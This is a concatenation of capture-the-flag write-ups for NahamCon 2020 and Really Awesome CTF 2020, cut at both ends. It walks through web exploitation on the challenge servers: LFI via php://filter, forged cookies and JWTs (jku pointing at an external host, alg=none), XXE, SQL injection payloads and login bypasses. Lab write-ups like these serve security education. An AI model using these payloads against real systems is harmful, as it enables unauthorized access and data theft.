gogIDwvYnI+CgoKPGRpdiBzdHlsZT0icG9zaXRpb246Zml4ZWQ7IGJvdHRvbToxJTsgbGVmdDoxJTsiPgo8YnI+PGJyPjxicj48YnI+CjxiPiBOT1QgQ0hBTExFTkdFIFJFTEFURUQ6PC9iPjxicj5USEFOSyBZT1UgdG8gSU5USUdSSVRJIGZvciBzdXBwb3J0aW5nIE5haGFtQ29uIGFuZCBOYWhhbUNvbiBDVEYhCjxwPgo8aW1nIHdpZHRoPTYwMHB4IHNyYz0iaHR0cHM6Ly9kMjR3dXE2bzk1MWkyZy5jbG91ZGZyb250Lm5ldC9pbWcvZXZlbnRzL2lkLzQ1Ny80NTc3NDgxMjEvYXNzZXRzL2Y3ZGEwZDcxOGViNzdjODNmNWNiNjIyMWEwNmEyZjQ1LmludGkucG5nIj4KPC9wPgo8L2Rpdj4KCiAgPC9ib2R5Pgo8L2h0bWw+`After decoding it we find out what we need to do fo getting the flag.
Making a POST request to `http://jh2i.com:50002/phphonebook.php` with the body `emergency=true` gave us the flag.
Flag: flag{phon3_numb3r_3xtr4ct3d}
## Official BusinessPoints: 125
#### Description>Are you here on official business? Prove it.>>Connect here:>http://jh2i.com:50006
### SolutionThe main web page shows us a login form and told us that we need to login in as admin to continue.Checking the `robots.txt` file we see the code used for authenticating.Here is the code that makes the login:```[email protected]("/login", methods=["POST"])def login():
user = request.form.get("user", "") password = request.form.get("password", "")
if ( user != "hacker" or hashlib.sha512(bytes(password, "ascii")).digest() != b"hackshackshackshackshackshackshackshackshackshackshackshackshack" ): return abort(403) return do_login(user, password, True)``` As you can see, there's no way we can provide a passwod that will result in that hash. So it must be something else.
```[email protected]("/")def index():
ok, cookie = load_cookie() if not ok: return abort(403)
return render_template( "index.html", user=cookie.get("user", None), admin=cookie.get("admin", None), flag=FLAG, ) def load_cookie():
cookie = {} auth = request.cookies.get("auth") if auth:
try: cookie = json.loads(binascii.unhexlify(auth).decode("utf8")) digest = cookie.pop("digest")
if ( digest != hashlib.sha512( app.secret_key + bytes(json.dumps(cookie, sort_keys=True), "ascii") ).hexdigest() ): return False, {} except: pass
return True, cookie``` At this point it's clear we need to forge the cookie to login as admin.There's a bug in this code. In `do_login` we can see that the value for `cookie["digest"]` is obtained by concatenating the secret key to the rest of the keys from the cookie.The thing is that in `load_cookie` the digest is compared with the sha512 of `secret_key + bytes(json.dumps(cookie, sort_keys=True)` and basically the secret key doesn't matter.We can make a cookie with any values and it will pass the verification from `load_cookie`. The secret key is used wrong here and we can abuse that by crafting our own cookie.I wrote the next script that does that. ```pythonimport binasciiimport hashlibimport json
secret_key = b'suchsecretwow'
def do_login(user, password, admin): cookie = {"user": user, "password": password, "admin": admin} cookie["digest"] = hashlib.sha512( secret_key + bytes(json.dumps(cookie, sort_keys=True), "ascii") ).hexdigest()
cookie_value = binascii.hexlify(json.dumps(cookie).encode("utf8"))
return cookie_value
def load_cookie(user, password): cookie = {} auth = do_login(user, password, True)
if auth:
try: cookie = json.loads(binascii.unhexlify(auth).decode("utf8")) digest = cookie.pop("digest")
if ( digest != hashlib.sha512( secret_key + bytes(json.dumps(cookie, sort_keys=True), "ascii") ).hexdigest() ): return False, {} except: pass
return True, cookie
cookie_t = load_cookie('hacker', 'a')```
After adding the cookie with the value returned by `do_login` from our script we get the flag.
Flag: flag{did_this_even_pass_code_review}
## ExtraterrestrialPoints: 125 #### Description>Have you seen any aliens lately? Let us know!>>The flag is at the start of the solar system.>>Connect here:>http://jh2i.com:50004 ### SolutionWhen accessing the page we are prompted with the next form:
I tried some XSS vectors at first and I got a wierd error. For `` the server returned `Space required`.When I insert `<script>alert(1)</script>` the server returned `array(0) {}`. After some more tries I started thinking that is not about XSS.The next thing that came to my mind was XXE. I went to https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XXE%20Injection and tried the first payload for returning a file: `]><root>&tes;;</root>`.That weird arry response from the server not looked like this:
Cool. Reading again the description, we try to use the next info:>The flag is at the start of the solar system.
This must mean that the flag is located under `/`.The payload `]><root>&tes;;</root>` gave us the flag.
Flag: flag{extraterrestrial_extra_entities} ## Rejected Sequel Points: 150 #### Description>Look at all these movie sequels that never got released! Will yours make it through??>>Connect here:>http://jh2i.com:50008 ### Solution Going to the web page we see that we have a form for searching moovies by name. Poking around, I see the next comment: ``
Interesting. Fuzzing a little the search input I received an error message from MySQL. Nice.Still, something was odd. Adding the debug parameter in my GET request I saw that the whitespaces were removed. For example, searching for `gone home` returned me this:
After playing a liitle around I discovered that I can use `/**/` instead of spaces and it will work just fine.At this point is just a common SQL Injection attack were all the wite spaces are replaced with `/**/`.Payload | Information gained------- | ------------------`"order/**/ by/**/2#` | Single column queried`"union/**/select/**/schema_name/**/from/**/information_schema.schemata#` | Database name: rejected_sequel`"union/**/select/**/table_name/**/from/**/information_schema.tables/**/where/**/table_schema="rejected_sequel"#` | Two tables: *flag*, *movies*`"union/**/select/**/column_name/**/from/**/information_schema.columns/**/where/**/table_name="flag"#` | Columns from flag table: *flag*`"union/**/select/**/flag/**/from/**/flag#` | The values from the column *flag* from table *flag*
Flag: flag{at_least_this_sequel_got_published}
## Flag JokesPoints: 200
#### Description
>Want to hear a joke? Want the flag? How about both? Why don't YOU tell me a joke!>>Note, it is recommended to clear your cookies for this challenge as some may have the same names used in other challenges.>>Connect here:>http://jh2i.com:50010
### Solution
The page displays a form where you can login by only providing an username. We need to login as admin, but we can't do it directly.Providing any other username we are prompted with the next page:
Let's take a look at what cookie we have. It seems that the authentication mechanism is based on JWT. Puttin the value in Burp we get the next output:
Reading this article https://medium.com/swlh/hacking-json-web-tokens-jwts-9122efe91e4a I thought that maybe this token is exploitable by changing the *jku* value.Using https://github.com/ticarpi/jwt_tool I tried to exploit it by first changing the username into *admin* and after that by generating a new JSON Web Keys Set.The output from JWT_tool.py:```textYour new forged token:(Signed with: private_jwttool_RSA_1592044374.pem)[+] eyJhbGciOiJSUzI1NiIsImprdSI6Imh0dHBzOi8vZW5hYTBpaGoxdW91dDZqLm0ucGlwZWRyZWFtLm5ldC9qd2tzLmpzb24iLCJraWQiOiJrZXlpZHNhbXBsZSJ9.eyJ1c2VybmFtZSI6ImFkbWluIn0.K0hK28hR4wPhRch7PrQ-eh8mM_8_zewdL1ErHg-YCvqdypTl4eRN_fvol9fG7PAORYOzfWEHM3OuiGGg6Jd22Ii8xz025rb_0vhRO7kdZVgKEJblAUd8shJjCe3WmT_HEj83LPg0OhhRqD3QpcWgu62mvVuL-vKXIE13gz1wjT_PzVH4O6jqgIFj-WC5WMgOxP3-NiybAnORlCzpzv31qeWoAawXgiiC_PFlAZfjOfREHa8kSR_mufjOhgEbjO9fZsMrm7KJQzQup8O1OFzmdjiaScmsw8e-Bbo66QSkPoonbpDmLu9v8aUH1v4waDZ0IoutdMY2ItbVQ5IbRXv2OQ
Paste this JWKS into a new file at the following location: https://enaa0ihj1uout6j.m.pipedream.net/jwks.json(Also exported as: jwks_jwttool_RSA_1592044374.json)[+]{ "kty":"RSA", "kid":"keyidsample", "use":"sig", "e":"AQAB", "n":"t_VtloNSQtuAB8wxqlfXGiDRPO2rUG1-BgMidCPKay6efk-yUOV15k1-mtcOfukyzy41FhuG_Izk8qk5tSbl0vzG6el0bm4gkq7cT_vZF3buFVnu77d7-_we8imyNKimqanzbmdQeLNl8PpOME2xrZIGPZEG9tsXoIbtrnAjKHlqnxAdETPv9crzDzTJDRdVhOifTD7OqV6edsRlCZVnS5XwGstsbMBKAfSjfe3OIjj-5e6cX_wHsGPIMrN4xR41Lz0nbwIG3djYHL5fbKiLuEMJFS9NzBwcoLfYq6Xer2C5coTn5cUJLUpGKrg7lSZo2SvZLFzegq0gOPwmIfDpkQ"}
``` I hosted the content key inside a flow from https://pipedream.com/ and set the new token in browser.
After hitting refresh I got the flag. 
Flag: flag{whoops_typo_shoulda_been_flag_jwks} # Scripting ## Rotten Points: 100 #### Description>Ick, this salad doesn't taste too good!>>Connect with:>nc jh2i.com 50034
### Solution Running nc jh2i.com 50034 we are asked to return exactly the response. > send back this line exactly. no flag here, just filler. After doing so for a few times we get `jveu srtb kyzj czev vortkcp. ef wcrx yviv, aljk wzccvi.` which seems to be a variation of ROT13 or Ceaser cypher. Sending exactly this message back will close the connection, so we need to decode it first and only afterwards send it. PLaying a liitle more I received the next message: > fraq onpx guvf yvar rknpgyl. punenpgre 2 bs gur synt vf 'n' Which decoded with ROT13 will become `send back this line exactly. character 2 of the flag is 'a'`. Nice, so we got an idea of how this works. We need to keep replying with the decoded line and extract the chars for building the flag on the way. The implementation for the ROTN decoding function is from here: https://eddmann.com/posts/implementing-rot13-and-rot-n-caesar-ciphers-in-python/ My final script: ```pythonimport pwnimport refrom string import ascii_lowercase as lc, ascii_lowercase as uc
def rot_alpha(n): lookup = str.maketrans(lc + uc, lc[n:] + lc[:n] + uc[n:] + uc[:n]) return lambda s: s.translate(lookup)
flag = dict()base_positoin = ascii_lowercase.find('s')r_position = re.compile('[0-9]{1,2}')r_letter = re.compile('\'.\'')
conn = pwn.remote('jh2i.com', 50034)line = conn.recvline()conn.send(line)
while True: rotted = conn.recvline().decode('utf-8') rot_letter = lc.find(rotted[0]) rot_number = base_positoin - rot_letter reversed_line = rot_alpha(rot_number)(rotted) if len(r_position.findall(reversed_line)) > 0: key = r_position.findall(reversed_line)[0] value = r_letter.findall(reversed_line)[0].replace('\'', '') flag[key] = value conn.send(reversed_line)``` Since I don't know th size of the flag I opted for running in debug mode and trying to build the flag after a few minutes. 
Flag: flag{now_you_know_your_caesars}
## Miscellaneous### VortexPoints: 75#### Description>Will you find the flag, or get lost in the vortex?>>Connect here:>nc jh2i.com 50017
### SolutionConnecting with netcat we get a lot of garbage. I let it connected for 1 minute and I received in continue chunk of bytes. So, my guess is that we need to find the flag in all that mess.
This small script will do the job:
```pythonimport pwn
conn = pwn.remote('jh2i.com', 50017)line = b''
while True: if b'flag' in line: print(line) break
line = conn.recvline()
conn.close()```
Flag: flag{more_text_in_the_vortex}
## Fake FilePoints: 100#### Description>Wait... where is the flag?>>Connect here:>nc jh2i.com 50026
### SolutionConnecting with netcat we get a bash. Poking around I couldn't find anything interesting so I went with `grep -r flag{ /` and we find the flag in `/home/user/..`.
Flag: flag{we_should_have_been_worried_about_u2k_not_y2k}
## AlkatrazPoints: 100#### Description>We are so restricted here in Alkatraz. Can you help us break out?>>Connect here:>nc jh2i.com 50024
### SolutionConnecting with netcat we get a bash, but we only have access to `ls` command. We are also restricted to run commands if `/` is in theirs names.
We solve this by reading the file with bash scripting.
Flag: flag{congrats_you_just_escaped_alkatraz}
# Mobile## CandroidPoints: 50#### Description>I think I can, I think I can!>>Download the file below.
### SolutionWe are given an apk file. I tried running strings on it and it gave me the flag.
Flag: flag{4ndr0id_1s_3asy}
## Simple AppPoints: 50#### Description>Here's a simple Android app. Can you get the flag?>>Download the file below.
### SolutionWe are given an apk file. I decompiled it using `apktool d simple-app.apk` and after that I ran `grep -r flag{ .` and got the flag.
Flag: flag{3asY_4ndr0id_r3vers1ng}
# Forensics## MicrosoftPoints: 100#### Description>We have to use Microsoft Word at the office!? Oof...>>Download the file below.
### SolutionWe are given a .docx file. Running file we see that is a `Microsoft OOXML` file, so nothing interesting. We try running binwalk to see if there are hidden files inside. We are in luck, there are. Now we run `grep -r flag .` inside the extracted directory and we get the flag:>./src/oof.txt:Sed eget sem mi. Nunc ornare tincidunt nulla quis imperdiet. Donec quis dignissim lorem, vel dictum felis. Morbi blandit dapibus lorem nec blandit. Pellentesque ornare auctor est, vitae ultrices nulla efficitur quis. *flag{oof_is_right_why_gfxdata_though}* Morbi vel velit vel sem malesuada volutpat interdum ut elit. Duis orci nisl, suscipit non maximus sit amet, consectetur at diam. Vestibulum cursus odio vitae eros mollis sodales. Ut scelerisque magna diam, sit amet porttitor massa tincidunt tempus. Vivamus libero nulla, facilisis id faucibus sit amet, ultricies non dolor. Maecenas ornare viverra dui, nec vestibulum nisl pretium id. Nam fringilla maximus quam non porttitor. Curabitur eget ultricies metus. Nunc hendrerit dolor non nulla volutpat sollicitudin. Suspendisse hendrerit odio nec luctus venenatis. Nullam lobortis fringilla aliquam.
Flag: flag{oof_is_right_why_gfxdata_though}
# Steganography## KstegPoints: 50#### Description> This must be a typo.... it was kust one letter away!>>Download the file below.
### SolutionWe are given a jpg file. I tried running some tools, but nothing was working. Reading again the description I see that they misspelled `just` by writing `kust`. I also thought that the title challenge was the tool that was used, but I couldn't find it. Putting it all togheter, the tool must be called `jsteg`, not `ksteg`.This is the repository of the tool: https://github.com/lukechampine/jstegRunning `jsteg reveal luke.jpg` gave us the flag.
Flag: flag{yeast_bit_steganography_oops_another_typo}
## DohPoints: 50#### Description>Doh! Stupid steganography...>>Note, this flag is not in the usual format.>>Download the file below.
### SolutionWe are given a jpg file. We try running steghide to extract whatever might be hidden. First, we try it without a password. We're in luck. Steghide extracted the `flag.txt` file.
Flag: JCTF{an_annoyed_grunt} |
# Nahamcon-ctf-writeupsThe write-ups for Nahamcon-ctf :: Power of grepAs most write-ups are already there, this write-up only has chals that can be solved via grep._Also this is the first time I am doing write-ups so let see how it goes.._
### Challenges
- #### Warm up challenges ___ #### Clisays 
##### Solution  1. Figuring out the type of file using file command, it is an ELF binary 2. `Strings clisays | grep-i "flag{"` checks whether the binary has hardcoded string like flag, seems it has one, but we were unable to find full flag 3. `Strings clisays | grep-i "flag{" -A 10` this prints the next 10 lines after the matched string and we got out flag > flag{Y0u_c4n_r3Ad_M1nd5} ___ #### MetaMene 
##### Solution  1. Figuring out the type of file using file command, it is an JPEG file 2. `Strings hackerman.jpeg | grep-i "flag{.*}"` okay so this command looks for regular expression `flag{.*}` in the strings from png image and seems like we got our flag 3. This challenge was actually about metadata so propersol would be `exiftool hackerman.png`, but it's a ctf and this write-up is about power of grep. > flag{N0t_7h3_4cTuaL_Cr3At0r} ---
- #### Forensics challenges ___ #### Microsooft 
##### Solution   1. Figuring out the type of file using file command. 2. `binwalk -e microsooft.docx"` extracts the data(sub files) from the file. 3. Navigate into the extracted folder. 4. `grep -r -i "flag{.*} .` recursively checks all file in the present directory for the flag. > flag{oof_is_right_why_gfxdata_though} ___ #### Cowpie 
##### Solution  1. Figuring out the type of file using file command. 2. `strings manure | grep -i "flag{.*}` woaw pretty easy right. 3. Alright so it was an unintended way to solve the challenge, but the reason I am showing this way of doing it shows, even ctf creators who are concerned about chal sometimes leave some hard-coded values, now just think about what you can find in real world ;) > flag{this_flag_says_mooo_what_say_you} ___
- #### Mobile challenges ___ #### Candroid 
##### Solution   1. `apktool d candroid.apk` decodes the apk file and puts the decoded content into a folder with name similar to apk name in the current directory. 2. `grep -r -i "flag{.*} ."` greps the flag from the current folder 3. Again the challenge was about analysing the apk but if you know grep, and little apk reversing tricks you can use the above grep trick for much more, check out the apk reversing room on THM for more > flag{4ndr0id_1s_3asy} ___ #### Simple App 
##### Solution   1. `apktool d simple-app.apk` decodes the apk file and puts the decoded content into a folder with name similar to apk name in the current directory. 2. `grep -r -i "flag{.*} ."` greps the flag from the current folder 3. Similar to previous chal.. huh, nope, this time the hardcoded string was in smali, that is _like_ the assembly language for android. > flag{3asY_4ndr0id_r3vers1ng}
> Even the third Mobile chal flags can be find this way but it would be encrypted so you would have to actually jadx-gui or dex2jar+jd-gui to rev engineer the app to figure out the how to decrypt the flag. ___
- #### Miscellaneous challenges ___ #### Vortex 
##### Solution  1. A classic Grep challenge 2. `nc jh2i.com 50017 | strings | grep -i "flag{.*}"` greps the flag from input stream after extracting the strings, took me around 10-15 sec to get the flag. > flag{more_text_in_the_vortex} ___ #### Fake File 
##### Solution  1. Connected to the server, tried to cat the file but as the file name is equal to `..` it results in an error, that bash thinks it is a directory. 2. Ah haan so i can't cat it, guess i will just grep what i need `grep -r -i "flag{.*}" .` 3. Yet again, it is just the checky way to get the flag, remember this whole walkthrough is about power of grep in ctfs. 4. Also check this write-up, how smarty Emile used grep to dump all flags from hard disk, but he reported it _Thanks to him for not ruining the CTF for everyone_. <3 https://tildeho.me/leaking-all-flags-in-a-ctf/ > flag{we_should_have_been_worried_about_u2k_not_y2k} ___
#### Summary
These write-ups were all about the power of grep, and it is not the intentional way to get flag in ctfs as the main purpose of CTF's is to learn but, hey we are h4ck0rs, right ;) `grep` in the hands of 1337 is one of the most powerfull command ever.
> grep -r -i "flag{.*}" .
Thanks for reading.. . .
But hey, here is a bonus section of OSINT chals ;)
- #### OSINT challenges ___ #### Time Keeper 
##### Solution 1. Opening the original wepage, checked the source code, there was a username there which lead to a twitter account but that was a rabit hole.  2. As the challege said Time-Keeper it was a indirect hint that we need to use wayback machine  3. Opening the snapshot of 13th April we get a webpage which give us hint were the flag is.. . .  4. Changing the URL to `https://apporima.com/flag.txt` for that snapshot  5. Flag... . .  > JCTF{the_wayback_machine} ___ #### New Year Resolution 
##### Solution  1. Using `nslookup` 2. set type=ANY, it will check any/all details. 3. Flag... . . > flag{next_year_i_wont_use_spf} ___ #### Finsta 
##### Solution  1. Challenge Name is the biggest hint, Insta.. 2. searching the username on Instagram.. 3. Flag... . . > flag{i_feel_like_that_was_too_easy} You guys know what event that fake account has more followers than i do :( lol.. ___ #### Tron 
##### Solution 1. Being honest this chal took me a lot of time to figure out as i was thinking it is about shodan.. .  2. Thanks for the Nudge CuddleDeath 3. well, Cuddle asked where else can i find this user... O.o 4. Used sherlock, found username Nahamcontron on github, and one of the repo commits had an ssh key. 
5. Used the ssh key and got the flag <3 > flag{nahamcontron_is_on_the_grid} ___
#### Thanks for reading <3#### by team - ChadSec |
# Really Awesome CTF 2020
Fri, 05 June 2020, 19:00 CEST — Tue, 09 June 2020, 19:00 CEST
Write-ups of Web challenges
# Web
## C0llide```A target service is asking for two bits of information that have the same "custom hash", but can't be identical.Looks like we're going to have to generate a collision?```
The service source code is:``` javascript[...]const app = express()app.use(bodyParser.json())
const port = 3000const flag = ???const secret_key = ???[...]app.post('/getflag', (req, res) => { if (!req.body) return res.send("400") let one = req.body.one let two = req.body.two if (!one || !two) return res.send("400") if ((one.length !== two.length) || (one === two)) return res.send("Strings are either too different or not different enough") one = customhash.hash(secret_key + one) two = customhash.hash(secret_key + two) if (one == two) return res.send(flag) else return res.send(`${one} did not match ${two}!`)})
app.listen(port, () => console.log(`Listening on port ${port}`))```
To connect to this challenge, we use `curl`:
``` bash> curl -H "Content-Type: application/json" -d '{"one":"abc","two":"xyz"}' -X POST http://88.198.219.20:60254/getflag8c8811e4d989cb695491dd9f75f72df6 did not match df86fa719ecb791ad0ce93e93d616378!```
To solve this challenge, we request:``` bash> curl -H "Content-Type: application/json" -d '{"one":[],"two":[]}' -X POST http://88.198.219.20:60254/getflagractf{Y0u_R_ab0uT_2_h4Ck_t1Me__4re_u_sur3?}```
Why it work ?
`req.body.one` and `req.body.two` exist
`one` and `two` have the same size because both are empty array (`0`)
And `one` and `two` don't have the same value because there are two different objects (see Object-oriented programming)
However, an empty array casted in string return nothing, so `secret_key + one` and `secret_key + two` are same and therefore the same for their hash
The flag is `ractf{Y0u_R_ab0uT_2_h4Ck_t1Me__4re_u_sur3?}`
## Quarantine - Hidden information```We think there's a file they don't want people to see hidden somewhere! See if you can find it, it's gotta be on their webapp somewhere...```
There is a hidden file which not supposed seen
The only files which are not supposed to be seen are listed in the `Disallow` fields in robots.txt file
And, there is a file `robots.txt````User-Agent: *Disallow: /admin-stash```
The disallowed file is admin-stash and in it, we can see the flag: `ractf{1m_n0t_4_r0b0T}`
## Quarantine```See if you can get access to an account on the webapp.```
At the website, we have a basic login form with username and password
When we logged with `'` as username and an empty password, the website return an Internal Server Error, so there is a SQL vulnerability
With `' OR 1=1 --`, the website return `Attempting to login as more than one user!??` because we try to log in as all users in the same time
Then, with `' OR 1=1 LIMIT 1 --`, we logged in as the first user in the database
The flag is finally shown when we have access to an account: `ractf{Y0u_B3tt3r_N0t_h4v3_us3d_sqlm4p}`
## Getting admin```See if you can get an admin account.```
On the same website, we should open the admin page, but we are redirected to home page because we haven't the admin privilege
We have un cookie `auth` with value `eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyIjogIkhhcnJ5IiwgInByaXZpbGVnZSI6IDF9.A7OHDo-b3PB5XONTRuTYq6jm2Ab8iaT353oc-VPPNMU`
It looks like a JWT fomat (https://jwt.io/introduction/)
The first part is the header encode in base64: `{"typ":"JWT","alg":"HS256"}`
The second part is the data encode in base64: `{"user": "Harry", "privilege": 1}`
And the last one is the signature which is unreadable
In the data section, the `privilege` field is interested to upgrade the Harry's account as admin but we can't regenerate the signature
However, it is possible to change the encryption algorithm from `HS256` to `none` and remove the signature section and verification
So we can change the cookie by `{"typ":"JWT","alg":"none"}{"user": "Harry", "privilege": 1}` `(eyJ0eXAiOiJKV1QiLCJhbGciOiJub25lIn0=.eyJ1c2VyIjogIkhhcnJ5IiwgInByaXZpbGVnZSI6IDF9.)` and it work !
Finaly, we change the `privilege` by `2`, `{"typ":"JWT","alg":"none"}{"user": "Harry", "privilege": 2}` `(eyJ0eXAiOiJKV1QiLCJhbGciOiJub25lIn0=.eyJ1c2VyIjogIkhhcnJ5IiwgInByaXZpbGVnZSI6IDJ9.)`
Refresh and we can open the admin page and read the flag: `ractf{j4va5cr1pt_w3b_t0ken}`
## Finding server information```See if you can find the source, we think it's called app.py```
On the same website, we can play 3 different videos with urls:
```http://url/watch/HMHT.mp4http://url/watch/TIOK.mp4http://url/watch/TCYI.mp4```
The page watch seems has a rule which transform `http://url/watch/movie.mp4` in `http://url/watch?path=movie.mp4`
We can try if a Local File Inclusion is possible with `http://url/watch/app.py`
Bingo, in source code of the page we can read:
``` html<video controls src="data:video/mp4;base64,ractf{qu3ry5tr1ng_m4n1pul4ti0n}"></video>```
The flag is: `ractf{qu3ry5tr1ng_m4n1pul4ti0n}`
## Insert witty name```Having access to the site's source would be really useful, but we don't know how we could get it.All we know is that the site runs python.```
In the source of page `http://url`, we can read:``` html<link rel="stylesheet" href="/static?f=index.css">```
There seems to have a Local File Inclusion, the page `http://url/static?` without file argument return an error page:```TypeError
TypeError: expected str, bytes or os.PathLike object, not NoneTypeTraceback (most recent call last)
[...]
File "/usr/local/lib/python3.8/site-packages/flask/app.py", line 1936, in dispatch_request return self.view_functions[rule.endpoint](**req.view_args)File "/srv/raro/main.py", line 214, in css return send_from_directory("static", name)File "/usr/local/lib/python3.8/site-packages/flask/helpers.py", line 760, in send_from_directory filename = fspath(filename)[...]```
All traceback are refered to file of python libraries expect one, refered to `/srv/raro/main.py` which seem be a source file of the website
The page `http://url/static?f=main.py` return:``` pythonfrom application import mainimport sys
# ractf{d3velopersM4keM1stake5}
if __name__ == "__main__": main(*sys.argv)```
The flag is: `ractf{d3velopersM4keM1stake5}`
## Entrypoint```Sadly it looks like there wasn't much to see in the python source.We suspect we may be able to login to the site using backup credentials, but we're not sure where they might be.Encase the password you find in ractf{...} to get the flag.```
In source of the page `http://url`, we can read:``` html
```
But the file` http://url/backup.txt` unexist
However, there is a `robots.txt` file:```User-Agent: *Disallow: /adminDisallow: /wp-adminDisallow: /admin.phpDisallow: /static```
And in `static` directory, there is the file `backup.txt` (`http://url/static/backup.txt`):```develop developerBackupCode4321
Make sure to log out after using!
TODO: Setup a new password manager for this```
The flag is: `ractf{developerBackupCode4321}`
## Baiting```That user list had a user called loginToGetFlag. Well, what are you waiting for?```
We have to log in with unername `loginToGetFlag` but we can't guess the password, so we must try SQL injection
With `'` as username, the website return an error page:``` pythonTraceback (most recent call last): File "/srv/raro/main.py", line 130, in index cur.execute("SELECT algo FROM users WHERE username='{}'".format(sqlite3.OperationalError: unrecognized token: "'''"```
Here the SQL query is `SELECT algo FROM users WHERE username=''' [...]` and crash because an `'` isn't closed
With `loginToGetFlag' --` as username, the query is `SELECT algo FROM users WHERE username='loginToGetFlag' -- ' [...]`
It select the user `loginToGetFlag` and ignore the end of the query after `--`
Finally, we are logged as `loginToGetFlag` and we can read the flag: `ractf{injectingSQLLikeNobody'sBusiness}`
## Admin Attack```Looks like we managed to get a list of users.That admin user looks particularly interesting, but we don't have their password.Try and attack the login form and see if you can get anything.```
Like the **Baiting** challenge, we still use the SQL injection but we can't use the same method
With `' OR 1=1 LIMIT 1 --` as username, we are logged as the first user (`xxslayer420`) in table `users`
With `' OR 1=1 LIMIT 1,1 --` as username, we are logged as the second user which is `jimmyTehAdmin` and the flag `ractf{!!!4dm1n4buse!!!}` is show
The table `users` seems to look like:
id | username | role---|----------|-------0 | xxslayer420 | user1 | jimmyTehAdmin | admin2 | loginToGetFlag | user (show flag of **Baiting** chall)3 | pwnboy | user4 | 3ht0n43br3m4g | user5 | pupperMaster | user6 | h4tj18_8055m4n | user7 | develop | developer (show flag of **Entrypoint** chall)
The flag is: `ractf{!!!4dm1n4buse!!!}`
## Xtremely Memorable Listing```We've been asked to test a web application, and we suspect there's a file they used to provide to search engines, but we can't remember what it used to be called.Can you have a look and see what you can find?```
The title of the challenge let think that an XML file is hidden somewhere...
Search engines can read the robots.txt file, and after search a documentation about it (https://moz.com/learn/seo/robotstxt), we can learn the existence of the `Sitemap` rule which requiered an XML file.
The default path of the sitemap file is `http://url/sitemap.xml`, and this file exist on the website:``` XML
<urlset xmlns="http://www.sitemaps.org/schemas/sitemap/0.9"> <url> <loc>https://fake.site/</loc> <lastmod>2019-12-12</lastmod> <changefreq>always</changefreq> </url> </urlset> ```
We can go check the backup sitemap at `http://url/sitemap.xml.bak`:``` XML
<urlset xmlns="http://www.sitemaps.org/schemas/sitemap/0.9"> <url> <loc>https://fake.site/</loc> <lastmod>2019-12-12</lastmod> <changefreq>always</changefreq> </url> <url> <loc>https://fake.site/_journal.txt</loc> <lastmod>2019-12-12</lastmod> <changefreq>always</changefreq> </url></urlset>```
And then `http://url/_journal.txt`:```[...]Dear diary,Today some strange men turned up at my door. They startedshouting at me and one of them pul- ractf{4l13n1nv4s1on?}[...]```
The flag is: `ractf{4l13n1nv4s1on?}` |
##### Table of Contents- [Web](#web) - [Agent 95](#agent95) - [Localghost](#localghost) - [Phphonebook](#phphonebook) - [Official Business](#official-business) - [Extraterrestrial](#extraterrestrial) - [Rejected Sequel](#rejected-sequel) - [Flag jokes](#flag-jokes)- [Scripting](#Scripting) - [Rotten](#Rotten)- [Miscellaneous](#Miscellaneous) - [Vortex](#Vortex) - [Fake File](#Fake-File) - [Alkatraz](#Alkatraz)- [Mobile](#Mobile) - [Candroid](#Candroid) - [Simple App](#Simple-App)- [Forensics](#Forensics) - [Microsoft](#Microsoft)- [Steganography](#Steganography) - [Ksteg](#Ksteg) - [Doh](#Doh)<hr>
# Web## Agent 95Points: 50
#### Description>They've given you a number, and taken away your name~>>Connect here:>http://jh2i.com:50000
### Solution
After accessing the site we get the next message: "You don't look like our agent!We will only give our flag to our Agent 95! He is still running an old version of Windows..."
My guess is that we need to temper the User-Agent HTTP header with the value Windows 95. Doing so in Burp, we get the flag.
Flag: flag{user_agents_undercover}
## LocalghostPoints: 75
#### Description>BooOooOooOOoo! This spooOoOooky client-side cooOoOode sure is scary! What spoOoOoOoky secrets does he have in stooOoOoOore??>>Connect here:>http://jh2i.com:50003>>Note, this flag is not in the usual format.
### SolutionLooking around the page there is nothing interesting, but reading again the description I figure that there might be something in the local storage. Going there, I got the flag.
Flag: JCTF{spoooooky_ghosts_in_storage}
## PhphonebookPoints: 100
#### Description>Ring ring! Need to look up a number? This phonebook has got you covered! But you will only get a flag if it is an emergency!>>Connect here:>http://jh2i.com:50002
### Solution
The web page displays the next message: >Sorry! You are in /index.php/?file=>>The phonebook is located at phphonebook.php
Going to `http://jh2i.com:50002/index.php/?file=phphonebook.php` we can see that there's not much going on, so we need more information. Seeing the `file` parameter I though I can do a local file inclusion.I tested it with `file=/etc/passwd`, but it didn't work. I didn't give up and tried to do a LFI with php wrappers.Providing the next payload we got the content of phphonebook.php in base64: `http://jh2i.com:50002/index.php/?file=php://filter/convert.base64-encode/resource=phphonebook.php`Base64 string returned: ` 